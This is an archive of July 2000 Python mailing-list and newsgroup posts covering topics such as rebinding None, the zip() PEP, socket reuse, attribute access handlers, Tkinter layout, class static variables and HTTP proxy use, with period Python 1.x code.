Message-ID: <slrn8o4oap.m39.jeff@oak.ollie.clive.ia.us>

On Sat, 29 Jul 2000 03:43:38 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>>>> def getnone():
>	pass
>
>>>> import __builtin__
>>>> __builtin__.None = 1
>>>> type(getnone())
><type 'None'>


I think that you are not fully comprehending the difference in Python
between variables and objects.  Variables in Python are nothing more
that references to objects. When you type 'None' in a program, Python
uses the object (usually, the 'None' object) referenced by the label
'None'. As you have found out, you can change which object that the
label 'None' references.

However, when a Python function exits without executing an explicit
'return' statement, the interpreter supplies the real 'None' object,
and not the object referenced by the label 'None'. I'm sure that this
was done (perhaps unintentionally) as a performance enhancement, as
you wouldn't want to incur the expense of a variable dereference every
time a function exited without executing a 'return' statement.

Consider the following code:

>>> a = None
>>> type(a)
<type 'None'>
>>> None = 1
>>> type(None)
<type 'int'>
>>> type(a)
<type 'None'>



From stephen_purcell at yahoo.com  Thu Jul 27 21:39:18 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Fri, 28 Jul 2000 11:39:18 +1000
Subject: best apache+python module?
In-Reply-To: <so1jnosf3j1154@corp.supernews.com>; from jasonives@hotmail.com on Thu, Jul 27, 2000 at 05:06:28PM -0700
References: <so1jnosf3j1154@corp.supernews.com>
Message-ID: <20000728113918.B12152@inkontact.com.au>

Jason Ives wrote:
> 
> I've been looking for an apache module that will run python .cgi's without
> having to instantiate a new interpreter for each request. [snip] They all
> seem rather sparsely supported..

Check out PCGI:
  http://www.digicool.com/releases/pcgi 

There's a HOWTO here:
  http://starship.python.net/crew/jbauer/persistcgi/howto/index.html 

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From dalke at acm.org  Sat Jul 29 02:10:30 2000
From: dalke at acm.org (Andrew Dalke)
Date: Sat, 29 Jul 2000 00:10:30 -0600
Subject: [Python-Dev] PEP 201, zip() builtin
References: <200007280428.QAA09796@s454.cosc.canterbury.ac.nz> <cpr98ee3kv.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <8lv422$hdk$2@slb6.atl.mindspring.net>

Guido van Rossum wrote:
>There are a few
>well-known cases where xrange() is to be preferred over range(), but
>in *most* cases, I claim, range() performs well enough.  Note that I'm
>not saying that range() is faster than xrange() -- I am saying that it
>is *fast enough* for typical usage.

Though to point out, I've seen one code base where xrange was used
extensively, because there is no time when xrange will fail miserably
while there are cases where range will fail outright, as with very
large data sets.  The most important question for them was not
performance but the implied restriction on the data size.

Since people in the same shop use the same idioms, it's hard to make
estimates as to the numbers that often use xrange over range, but it
seems to be about 5% (let's say +5% and -3% for error bars).

Mind you that the manuals and many of the existing programs are
based off of your work, so there is going to be an implicit bias in
being consistent with your way of doing things.  The people who use
xrange not only have to think it's appropriate for the data set, but
have to justify having "non-standard" code.  Thus, those 5% are not
to be compared with the 95% who use range but the lesser number who
use range over xrange despite knowing about its deficiencies.

Me, I'm one of that subset of the 95% - I use range even knowing
about is deficiencies and only rarely use xrange.  But even better,
I usually end up implementing a list-like forward-iterator for large
data sets - that is, roll my own xrange.  So I would mostly use
zip and only rarely use xzip.

                    Andrew
                    dalke at acm.org





From annis at biostat.wisc.edu  Thu Jul 20 12:04:04 2000
From: annis at biostat.wisc.edu (William Annis)
Date: 20 Jul 2000 11:04:04 -0500
Subject: closing a socket
References: <8l72lp$mah$1@nnrp1.deja.com>
Message-ID: <jt8zuw7pqj.fsf@wazor.biostat.wisc.edu>

Keith Murphy <kpmurphy at my-deja.com> writes:

> is closing sockets tricky? or am i doing something wrong...  shouldn't
> this work?

        There is one small thing you need, something every sockets
beginner misses at first.  I know I did...

> s = socket(AF_INET, SOCK_STREAM)

        You need the set the 'reuse address' option:

        s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

> however, i get the following error if i try and run it a second time:
> 
> socket.error: (125, 'Address already in use')

-- 
William Annis - System Administrator - Biomedical Computing Group
annis at biostat.wisc.edu                       PGP ID:1024/FBF64031
Mi parolas Esperanton - La Internacian Lingvon  www.esperanto.org


From bjorn at roguewave.com  Sat Jul 22 12:04:38 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 10:04:38 -0600
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194>
Message-ID: <3979C616.CA01C09C@roguewave.com>

Gordon McMillan wrote:
> 
> Bjorn Pettersen wrote:
> 
> >Paul Prescod wrote:
> 
> >> Actually, I'm not sure if my proposal would help here. Appending to a
> >> cStringIO is not an assignment operation...
> >
> >The only requirement was that the attribute access (myObject.property)
> >stay the same, only instead of returning a string it would compute
> >.value() on the cStringIO object. I.e., original:
> >
> >  class MyObject:
> >    def __init__(self,s):
> >      self.s = s
> >
> >new version:
> >
> >  class MyObject:
> >    def __init__(self,s):
> >      self._s = cStringIO.StringIO(s)
> >    def __getattr__(self, a):
> >      if a == 's':
> >        return self.__dict__['_s'].value()
> >      else:
> >        return self.__dict__[a]
> 
> Umm, that should be:
>   def __getattr__(self, a):
>     if a == 's':
>        return self._s.value()
>     raise AttributeError, a
> 
> (__getattr__ is last resort - not called if the attribute is found.)

Yes, I knew that, and it didn't work... I didn't investigate much, but I
think it might have been because the constructor really looked like:

  def __init__(self, **kw):
    self.__dict__.extend(kw)

not sure about that though...

> >> > Perhaps you should add a few words about why you chose __attr_XXX__
> >> > instead of __set/get/del_XXX__?
> >>
> >> That was actually the first proposal. But inheritance could get
> >> confusing if you inherited set without get or get without set etc.
> >
> >Hmmm... I'm not quite sure I understand...
> 
> Of course you don't! Because Paul forgot to tell you that the first
> proposal said that defining one or more of __set/get/del_XXX__
> automatically defines all 3, with default behavior of "you can't do that".
> So a base class defining __get_X__ and a derived class defining __set_X__
> will have the wrong semantics 50% of the time whichever way you choose to
> handle it.

Hey, I think I understand it now <wink>!  So the reason you need to
install _one_ attribute handler with either scheme is that XXX has no
relation to an actual attribute ("it is disallowed to have an attribute
named XXX in the same instance dictionary as a method named
__attr_XXX__.") It's therefore impossible to have a default set/get/del
handler with the common semantics of setting/getting/deleting the
attribute. Solving that problem by associating XXX with a 'real'
attribute can't be done since it would probably require new syntax, and
wouldn't always be desired... Am I close?

-- bjorn



From nowonder at nowonder.de  Mon Jul 31 02:09:54 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 06:09:54 +0000
Subject: [Python-Dev] PEP 201, zip() builtin
References: <LNBBLJKPBEHFEDALKOLCIEAPGNAA.tim_one@email.msn.com>
Message-ID: <39851832.6E0CC058@nowonder.de>

Tim Peters wrote:
> 
> Precisely that Greg Wilson's test subjects read it as cross-product rather
> than lock-step.  That leaves it backward-compatible but *un*reasonable
> syntax; nobody (incl. Guido) liked such a big semantic difference triggered
> by such a tiny bit of embedded punctuation anyway.

Okay, just my point. BTW: My questionnaire run on c.l.py
(which I left to Greg Wilson because he wanted to have it)
was clear on that syntax, too:
6/9 thought it to be a syntax or type error
2/9 thought it to be cross-product iteration
1/9 thought it to be lock-step iteration

1-out-of-9-is-way-too-bad-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From darrell at dorb.com  Sun Jul  2 23:02:57 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sun, 2 Jul 2000 20:02:57 -0700
Subject: Newbie question  re: regsub
References: <395fc90a$1_1@huge.aa.net> <395fcc6d$1_2@huge.aa.net>
Message-ID: <005e01bfe49b$68c94d30$6401a8c0@home>

>>> open('junk','w').write("red red red red")
>>> import re
>>> print re.sub("red","orange", open('junk').read())
orange orange orange orange
>>>

The changed string is returned. Strings in python don't change so the
original buffer is unaffected.

--Darrell


----- Original Message -----
From: "Robert Goto" <rgoto at aa.net>

> What is even more maddening to me is that when I save it to a module and
run
> it from NT command prompt......the output I get is the original file
> contents only........like there was no regsub.gsub!!





From speed at ?.com  Fri Jul 28 16:17:17 2000
From: speed at ?.com (Jake Speed)
Date: Fri, 28 Jul 2000 20:17:17 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com>
Message-ID: <so3qid5o0b176@corp.supernews.com>

max at alcyone.com (Erik Max Francis) wrote in 
<3981DB97.E367C81E at alcyone.com>:

>If 1 + 1 == 2 and '1' + '1' == '11' (note, not 11), then what should 1 +
>'1' or '1' + 1 do?  Implicit type conversion between incompatible types
>(integer and string) is a bad idea in a strongly-typed language.

A short, perlish aside:

#!/usr/local/bin/perl
printf "%s\n", 3 & 10;
printf "%s\n", 3 & "10";
printf "%s\n", "3" & 10;
printf "%s\n", "3" & "10";

($x, $y) = "3 10" =~ /(\d+) (\d+)/; 
printf "%s & %s = %s\n", $x, $y, $x & $y;

====
2
2
2
1
3 & 10 = 1

I like Perl, really I do :^)

-Speed!



From dnotspam-jen at personic.com  Tue Jul  4 02:58:57 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Mon, 3 Jul 2000 23:58:57 -0700
Subject: Equivalent to ppm for Python?
Message-ID: <3961881d$0$20233@wodc7nh6.news.uu.net>

Is there anything like PPM for Python?  For those who don't know, PPM is the
Perl Package Manager
(http://www.activestate.com/Support/ActivePerl/PPM.html).  PPM is a utility
that will go out and download and install packages for you from the Internet
(at least on Win32 -- I assume it works elsewhere, too).

Jen






From cb750chris at email.msn.com  Sun Jul  2 18:53:41 2000
From: cb750chris at email.msn.com (Roger Upole)
Date: Sun, 2 Jul 2000 18:53:41 -0400
Subject: Internet Explorer and Python/COM
References: <Pine.GSO.4.10.10007022217420.19085-100000@sundial>
Message-ID: <u$mxTiH5$GA.254@cpmsnbbsa07>

Here's a small sample of how to navigate to a URL.
>>> import win32com.client
>>> x=win32com.client.Dispatch('InternetExplorer.Application.1')
>>> x.Visible=1
>>> x.Navigate('http://www.python.org')
If you run makepy on Microsoft Internet Controls, the file generated in
Python\win32com\genpy will show all the properties and methods
available for this object.
    HTH
         Roger Upole


Moshe Zadka <moshez at math.huji.ac.il> wrote in message
news:Pine.GSO.4.10.10007022217420.19085-100000 at sundial...
>
> I'm really a beginner in Windows COM programming, so I'm sorry if my
> question doesn't make sense.
>
> Can I use Python to run Internet Explorer and control it via COM? I mean,
> telling it things like "Display this URL" or "Render this HTML".
> (Maybe even putting a hook on URL displaying, so my Python program is
> notified when the URL the browser is displaying changes)
>
> --
> Moshe Zadka <moshez at math.huji.ac.il>
> There is no GOD but Python, and HTTP is its prophet.
>
>






From paul at prescod.net  Mon Jul 17 15:12:02 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 14:12:02 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com>
Message-ID: <39735A82.8B4D0489@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> 
> As to the claim that additional operators for linear algebra is somehow
> comparable to the special syntaxes/quirks of various programming languages,
> no real argument has been presented so far.  

Okay, then, let me try.

> It's more like: If I don't care
> and don't use such things, they must belong to a special domain and be
> somehow comparable to some other things that I do know and dislike.

Let me rephrase: "If MOST Python programmers don't care and don't use
such things, they must belong to a special domain." I think that's a
good operative definition of "domain specific". That's the crux of the
argument. Don't throw complex numbers back in my face because they
required *minimal new syntax*. There is already more "extra" syntax in
the language for matrices than for complex numbers.

I don't know why you have the impression that matrix operators have
been compared to anything that people dislike. Most people have compared
them to things that they *do* like, but must do through function syntax
because Python doesn't pander to my particular needs or your particular
needs, but rather those of most average programmers. I like XML 
processing and I daresay there are more books sold on it than on 
Matlab. But I've never asked for special, XML-specific syntax.

Maybe you should consider how to scale back your syntactic request.
Perhaps a single keyword or symbol at the beginning of an expression
could make it element-wise or matrix-wise.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html





From jcm at bigskytel.com  Sat Jul 15 03:35:07 2000
From: jcm at bigskytel.com (David Porter)
Date: Sat, 15 Jul 2000 01:35:07 -0600
Subject: python cookbook
In-Reply-To: <8km8l0$nc8$1@nnrp1.deja.com>; from akkhan@my-deja.com on Fri, Jul 14, 2000 at 05:32:16AM +0000
References: <8km8l0$nc8$1@nnrp1.deja.com>
Message-ID: <20000715013507.A27936@novara.avenue>

* akkhan at my-deja.com <akkhan at my-deja.com>:

> I have a copy of O'Reilly's book, "Perl Cookbook" , and I'm looking for
> an equivalent Python cookbook.  A book that has recipe's for doing
> a variety of different tasks in Python, such as socket programming and
> web automation.

Have a look at (the eff-bot guide to) The Standard Python Library:

http://www.pythonware.com/people/fredrik/librarybook.htm

It is an online book in pdf format which can be purchased through Fatbrain.
You need windows though (for now)...




From jerry_spicklemire at my-deja.com  Wed Jul  5 12:04:21 2000
From: jerry_spicklemire at my-deja.com (jerry_spicklemire at my-deja.com)
Date: Wed, 05 Jul 2000 16:04:21 GMT
Subject: JPE: Java - C Python Extension Project
References: <3962EBA5.E461DD4@arakne.com>
Message-ID: <8jvm9o$dtj$1@nnrp1.deja.com>

Cool! Might the work already done with Pyro serve as a jump-start?

  http://www.xs4all.nl/~irmen/python.html

In article <3962EBA5.E461DD4 at arakne.com>,
  Jean Hemmi <jean.hemmi at arakne.com> wrote:

> We need a full-featured C-Python / Java integration!

> We are laying out below the requirements to such an integration:
> - Multithread compatibility (at least when the JVM relies on OS
threads)
>
> - Access to the Java environment from Python
> - Seamlessness from both sides
> - Java objects appearing as native Python objects (resolving
> overloading)
> - Extensibility of Java classes into Python
> - Access to the Python environment from Java
> - Python objects accessible as Java objects
> - Extensibility of Python classes within Java
> - Exception mapping
> - Python programming on client Web browser, like Javascript
> - Ability to run Python bytecode files on the client Web browser
> - Conciliation of security features (adapting Python's restricted
> execution mode for 'Pylets')
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From forums at memoire.com  Mon Jul 24 05:15:05 2000
From: forums at memoire.com (Guillaume)
Date: Mon, 24 Jul 2000 09:15:05 GMT
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com> <8la0fa$l9r$1@nnrp1.deja.com> <8la2mp$n5v$1@nnrp1.deja.com> <8lball$jrf$1@nnrp1.deja.com> <8lblc002pb1@news2.newsguy.com>
Message-ID: <8lh1eo$a74$1@nnrp1.deja.com>


Axel understood perfectly the goal of my question and the way I would
like the code to behave.

> This alteration is actually easier for the class case, as has
> been pointed out, as long as, of course, __setattr__ knows
> about it.  For the variable case you'd HAVE to say global in
> each block that rebinds it (analogous to saying CA.a in an
> explicit way for the class field case, I guess).

So here is the code which seams to do what I want. The few tests I made
give good results. The only problem is the need to modify __setattr__
but it is not a problem for generated code (Java,C++,... -> Python)

The only problem will be for Python->Python... but first my tool doesn't
have a Python parser yet and second, I could mark special cases. Of
course the fact to change the semantic of attributes can be a problem if
someone want to maintain the generated code.

First I used constructs like if name=="x": but in fact the use of try:
makes it more general (no need to know the attribute name). Inheritance
seams to work.

If you know a better way, tell me.

Guillaume
This code will be released in Alma 0.26
http://www.memoire.com/guillaume-desnoix/alma/

#### CODE ####


class A:
	def __setattr__(self,name,value):
		print "A: set "+name+" %s" % value
		try:
			A.__dict__[name]
			A.__dict__[name]=value
			return None
		except KeyError:
			self.__dict__[name]=value

# static vars for A
A.x="XX"
A.w="WW"

class B(A):
	# instance vars for B
	z=None
	def __setattr__(self,name,value):
		print "B: set "+name+" %s" % value
		try:
			B.__dict__[name]
			B.__dict__[name]=value
			return None
		except KeyError:
			A.__setattr__(self,name,value)

# static vars for B
B.y="YY"

a=A()
b=B()

b.z="ZZ"

print b.z
print b.w

print a.x
a.x="XXXX"
print a.x
print b.y
b.y="YYYY"
print b.y
print b.x

try:
	print b.v
except AttributeError:
	print "v is not defined..."


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Sun Jul 23 13:30:07 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 12:30:07 -0500
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <slrn8nm2dg.an7.neelk@brick.cswv.com>
Message-ID: <397B2B9F.6AA0AC59@prescod.net>

Neel Krishnaswami wrote:
> 
> ...
> 
> I'm afraid I still don't understand. If I wanted to use separate
> accessors/mutators, what would I do with the current proposal?
> 
> An example (using separate accessors) that I'd like to see translated:
> 
> class Foo:
>    def __init__(self, x):
>        self.x = x
> 
> class LogWrites(Foo):
>    def __set_x__(self, x, val):
>        add_to_write_log()
>        self.__dict__['x'] = val
> 
> class LogReads(Foo):
>    def __get_x__(self, x):
>        add_to_read_log()
>        return self.__dict__['x']

Even under the original proposal, this wouldn't have worked.
__dict__["x"] is used by the mechanism. It can't have any value other
than the attribute access handler object if you want things to work.
self.x is reserved for the attribute access handler object. I would
expect this:

>>> print LogReads().x
<attribute access handler>

Here's how I would rewrite your code:

class Foo:
    def __init__(self, x):
       self.__x = x        
    
class LogWrites(Foo):
    def __attr_x__(self, op, val):
        if op=="set":
            self.__x=val
        else:
            raise TypeError

class LogReads(Foo):
    def __attr_x__(self, op, val):
        if op=="get":
            return self.__x
        else:
            raise TypeError

Note that LogReads().x is unwriteable even from the base class. Python
doesn't really differentiate between accesses from within the class and
from outside. Even under the "one method per operation" proposal I think
that you would have this problem. This is also the same as the current
behavior with hand-written handlers using __setattr__.

Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> class Foo:
...     def __init__( self, x ):
...         self.x=x
...
>>> class Bar( Foo ):
...     def __setattr__( self, attr, val ):
...         if attr=="x":
...             raise TypeError, "Not writable"
...         else:
...             self.__dict__[attr]=val
...
>>> Bar(5)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in __init__
  File "<stdin>", line 4, in __setattr__
TypeError: Not writable

If a class designer wants to allow sub-classes to make attributes
unreadable or unwritable, it should use __dict__["foo"] syntax rather
than attribute access syntax to read and write them.

In general, it can be painful to try and override a base class along a
"vector" that was not specifically planned by the base class designer.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From kpmurphy at my-deja.com  Mon Jul 17 16:01:30 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 17 Jul 2000 20:01:30 GMT
Subject: grid
References: <8kvkvt$68h$1@nnrp1.deja.com>
Message-ID: <8kvome$9ah$1@nnrp1.deja.com>

does this look alright?

# embed.py
from Tkinter import *

root = Tk()

left = Frame(root, bg='red')
right = Frame(root, bg='orange')

button1 = Button(left, text='hi')
button2 = Button(right, text='yo')

entry1 = Entry(left)
entry2 = Entry(right)

label1 = Label(left, text='this is schweet')

left.grid(row=0, column=0, ipadx=10, ipady=10)
right.grid(row=0, column=1, ipadx=10, ipady=10)
button1.grid(row=0, column=0)
button2.grid(row=0, column=0)
entry1.grid(row=0, column=1)
entry2.grid(row=0, column=1)
label1.grid(row=1, column=0, columnspan=2)


mainloop()
# end embed.py


thanks,
-->keith

In article <8kvkvt$68h$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> can you embed grids?  ...what i'd like to do is grid within several
> frames, and then grid the frames together.  sort of like html
tables...
> i hate pack.
>
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Fri Jul 28 01:00:16 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 05:00:16 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com>
Message-ID: <slrn8o24mr.e7.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 04:15:24 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>I would never, personally, have expected list(123) to return a list
>containing only the element 123.  After all, that isn't how it works with
>_any_ other data type.

    Well, considering it doesn't work with most other data types, that isn't
unexpected, isn't it?  

>_any_ sequence can be either a single value or a sequence.

    Right, any sequence.  You said it, remember it, I'll get back to that.

>The fact that list() (and tuple()) only work on objects that actually have a
>sequence mapping makes a lot of sense and, to me, resolves the ambiguity in
>precisely the way I would expect.

>>>> a = (1,3,'5')

>a is a single value.  It's a tuple.  If list() took single values and made
>them into single-element lists, and tuple() worked accordingly, I would
>expect

    No, a is a pointer to a tuple and the tuple contains three values.  A
tuple is just an immutable list.  I'm not sure why anyone would want that, but
hey, I'm sure there's a reason along there somewhere.  I see three valies, 1,
3 & 5.

>To have list() and tuple() behave one way when given non-sequence
>arguments, and another when given sequence arguments, rather odd for two
>reasons.

    I never said that.

>Firstly, it's unnecessary.  If I have a single value in X, and I want to
>make it a single-element list, there's a way to do that:

    Really?

>>>> some_variable = [X]

    Seems counter intuative, doesn't it, list() could take that single value
and make it a single item in a list.  I mean, c'mon, why have list when you
could just construct a for loop to use an append method?

>That is how you construct single-element lists.  list(), as its docstring
>clearly states, creates a list from a sequence.

    You're right.  It does. 
   
>Secondly, it's counterintuitive.  You say "all of those can be converted
>into lists"; I look at 1 and think, "what is the list equivalent of an
>integer?"

    That is because you're thinking in terms of types and not just data.  It
is a single element, nothing more.

    Ah, but getting back to that point I said to remember.

foo = "a"
foo = list(foo)

    foo is not ['a'].  It took a single element and made it a list.  So we now
know that a single element has a sequence.  Here is another sequence of a
single element.

foo = 1
foo = list(foo)

    Error.  Single element sequence.  Remember, any sequence can either be a
single value or a sequence.  Yet here we have a single value denied.  Quirks
abound.

>>    a is now "['a', 'b', 'c']".  Which means we split a string up when
>>converting to list but don't concatinate on the way back. 

>Why should str(['a','b','c']) == str(['abc']) == str(['ab','c']), etc?  The
>str() function doesn't know that its argument was originally constructed
>from a string.

    I never said that, did I?  No.  Didn't I go on to state that I wouldn't
expect it to work because going down the scale from structures down to simple
data is hard.  It would be like trying to stuff a directory into a list.  
Going from more complex to something simpler is always going to have some
problems in implementation.  I was just pointing out that, as with anything, 
there are quirks in the language that one must learn.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From richard_chamberlain at my-deja.com.bbs  Mon Jul 17 05:00:01 2000
From: richard_chamberlain at my-deja.com.bbs (richard_chamberlain at my-deja.com.bbs)
Date: 17 Jul 2000 09:00:01 GMT
Subject: Tkinter and absolute positioning
Message-ID: <3bR6R1$lXs@openbazaar.net>

Hi Ruud,

You can do absolute positioning with place:

from Tkinter import *
root=Tk()
Label(root,text="He's not the messiah,").place(x=5,y=5)
Label(root,text="he's a very naughty boy.").place(x=35,y=70)
root.mainloop()

Not highly recommended though!

Richard



In article <8kudt2$92e$1 at nnrp1.deja.com>,
  Ruud Cox <ruud.cox at philips.com> wrote:
>
>
> Is there a way to position child widgets on a TopLevel
> widget using absolute coordinates instead of using pack,
> place or grid?
>
> Ruud Cox
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com.bbs  Mon Jul 17 14:10:02 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 17 Jul 2000 18:10:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRKgS$mjt@openbazaar.net>

Charles Boncelet wrote:
>
> (Huaiyu Zhu wrote a proposal for adding special linear algebra
> operator to Python)
>
> This proposal has been dismissed by many on this list (my
> paraphrasing)
> "because we don't want to pollute Python with new symbols/syntax
> for just one problem domain."  Some have dismissed linear algebra
> as a small domain at that.
>
> Let's get some facts (yes, I know we are not supposed to let facts
> interfere with our arguments on usenet):

[severe case of non sequitur snipped]

Perl, C++, Visual Basic, Java, and probably also Tcl are all more
popular than Python. Are you suggesting we should add their special
syntaxes/quirks just because a lot of people know them?

hrmph!
-- bjorn


From bill at dehora.fsnet.co.uk  Sat Jul 29 15:58:42 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Sat, 29 Jul 2000 20:58:42 +0100
Subject: Python is Zen (was Python is wierd)
References: <39806045.F67EBD04@wag.caltech.edu> <8lt0ap$69q$2@newsg4.svr.pol.co.uk> <39829FF4.84DEDC6F@innuendo.de>
Message-ID: <8lve96$hu3$1@news6.svr.pol.co.uk>

"Ulrich Schreiner" <ulrich.schreiner at innuendo.de> wrote in message
news:39829FF4.84DEDC6F at innuendo.de...
http://www.bruceeckel.com/Python/ThinkingInPython.html

"Bill de h?ra" wrote:
>
> Does this imply a "Thinking in Python"?
>
> -Bill de h?ra

Wahoo!! (thanks, bye)

-Bill de h?ra




From btang at pacific.jpl.nasa.gov  Tue Jul 18 18:19:28 2000
From: btang at pacific.jpl.nasa.gov (Benyang Tang)
Date: Tue, 18 Jul 2000 15:19:28 -0700
Subject: treeftp -- a smart ftp client
Message-ID: <3974D7F0.89207A68@pacific.jpl.nasa.gov>

treeftp -- a smart ftp client for Unix.

By Benyang Tang.
Version 0.50. 7/18/00

Complete documentation is in
http://beluga.ocgy.ubc.ca/~tang/treeftp/readme_treeftp

The whole package (3 files) are packed in the file treeftp.tar, which can be
downloaded from
http://www.ocgy.ubc.ca/~tang/treeftp

Please send bug reports and questions to:
btang at pacific.jpl.nasa.gov

===========================
Features:
===========================
* It uploads/downloads a directory tree, recursively.

* When downloading, it preserves the time stamp (the modification time) and
permission bits of the file.

* When uploading, the time stamp is set to the time of uploading. However, with
a switch -a (standing for archive), time and permission information of the file
is also uploaded and stored in the remote site, so when downloading the
file/directory with the same switch -a, the time stamp and permission bits are
preserved.

* With the switch -t, only the newer files are uploaded/downloaded.

* The login process can be automated with the password stored in a
only-owner-can-read file.

-- 
<> Benyang Tang                                   office: 818/354-0327 <> 
<> 300-323, JPL                                      fax: 818/393-6720 <> 
<> 4800 Oak Grove Drive               mail: btang at pacific.jpl.nasa.gov <> 
<> Pasadena, CA 91109, USA                                             <>


From neilh at scintilla.org  Sun Jul 16 19:21:56 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 16 Jul 2000 23:21:56 GMT
Subject: "Intellisense" drop-down...
References: <pbpc5.89249$W35.2041585@news20.bellglobal.com>
Message-ID: <osrc5.3577$4p3.27127@news-server.bigpond.net.au>

> I have found no way of defining new key combinations to select the
currently
> highlighted word in the "Intellisense" drop-down list.  For example:
> ...
> I hightlight "Apply" and the only key I can use to make "Apply" appear and
> the list to disappear is "Tab".  I want other keys to trigger this.  The
> default.cfg file only lists this:

   When the previous post appeared about Ctrl+Enter in auto-completion, I
had a look at extending the keys that would choose an item and tried
changing this in Scintilla. This worked in other applications but not in
PythonWin as PythonWin intercepts keys before sending them on to Scintilla.
Then I went looking through PythonWin but the code was confusing so I gave
up.

    If you are interested in working on this, the Enter key calls
newline_and_indent_event in pywin\idle\AutoIndent.py. So you could intercept
it here or else bind Enter to your own event that calls the current
newline_and_indent_event only when no autocompletion is shown.

   Neil





From davec999 at my-deja.com  Wed Jul 12 05:22:38 2000
From: davec999 at my-deja.com (David Currie)
Date: Wed, 12 Jul 2000 09:22:38 GMT
Subject: Using proxy
References: <396bd06b$1$jreare.trhraf$mr2ice@news.skynet.be> <396C0C19.8F1C940D@adtranzsig.de>
Message-ID: <8khdck$694$1@nnrp1.deja.com>

In article <396C0C19.8F1C940D at adtranzsig.de>,
  laukien at gmx.de wrote:
> The solution is quite simple:
>
> import httplib
> proxyhost = 'proxy'
> proxyport = 8080
>
> h = httplib.HTTP(proxyhost, proxyport)
> ....
[additional info because this isn't really clear]

When making a request you will have to ask
for "http://www.host.com/page.html" instead of, say, "/page.html" like
you would have to when connecting directly to the host.

Make sure your proxy does not require authentication.  If it does, look
at the headers returned with the error code to see what kind it wants.
Basic authentication is simple: you include an extra header in the
request with the text "Proxy-Authorization: <auth>" where
<auth>==base64.encode("username:password"). Digest is more complicated
and needs encryption.  I don't know how to do this.. :)

If the proxy is IIS it is possible that it uses something called NTLM
authentication.  If this is the case, forget it unless you implement
the protocol.  There is some documentation somewhere on the net.

Sorry, this started as a clarification, but I think I may have
complicated things.. :/

Dave


Sent via Deja.com http://www.deja.com/
Before you buy.


From max at alcyone.com  Fri Jul 28 20:23:38 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 17:23:38 -0700
Subject: Perl is worse! (was: Python is Wierd!)
